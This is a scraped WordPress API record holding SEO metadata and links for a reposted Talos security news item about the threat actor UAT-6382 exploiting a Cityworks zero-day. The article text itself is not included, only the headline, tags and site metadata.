TALOSBLOG:6A5B598DC62B478679323E21AD8A87D0 Type talosblog Published 2025-05-22T10:00:42 Last Updated 2025-05-22T10:00:42 Security...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5629\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-22T07:34:32+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware\",\"datePublished\":\"2025-05-22T07:34:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629\"},\"wordCount\":1031,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"HIGH\",\"news\",\"Security\",\"talosblog\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5629#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629\",\"name\":\"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-22T07:34:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5629\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5629#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5629","og_locale":"en_US","og_type":"article","og_title":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem","og_description":"Security Update News Update Information Title UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware Update ID TALOSBLOG:6A5B598DC62B478679323E21AD8A87D0 Type talosblog Published 2025-05-22T10:00:42 Last Updated 2025-05-22T10:00:42 Security...","og_url":"https:\/\/zero.redgem.net\/?p=5629","og_site_name":"zero redgem","article_published_time":"2025-05-22T07:34:32+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5629#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5629"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware","datePublished":"2025-05-22T07:34:32+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5629"},"wordCount":1031,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","HIGH","news","Security","talosblog","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5629#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5629","url":"https:\/\/zero.redgem.net\/?p=5629","name":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-22T07:34:32+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5629#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5629"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5629#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5629","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5629"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5629\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}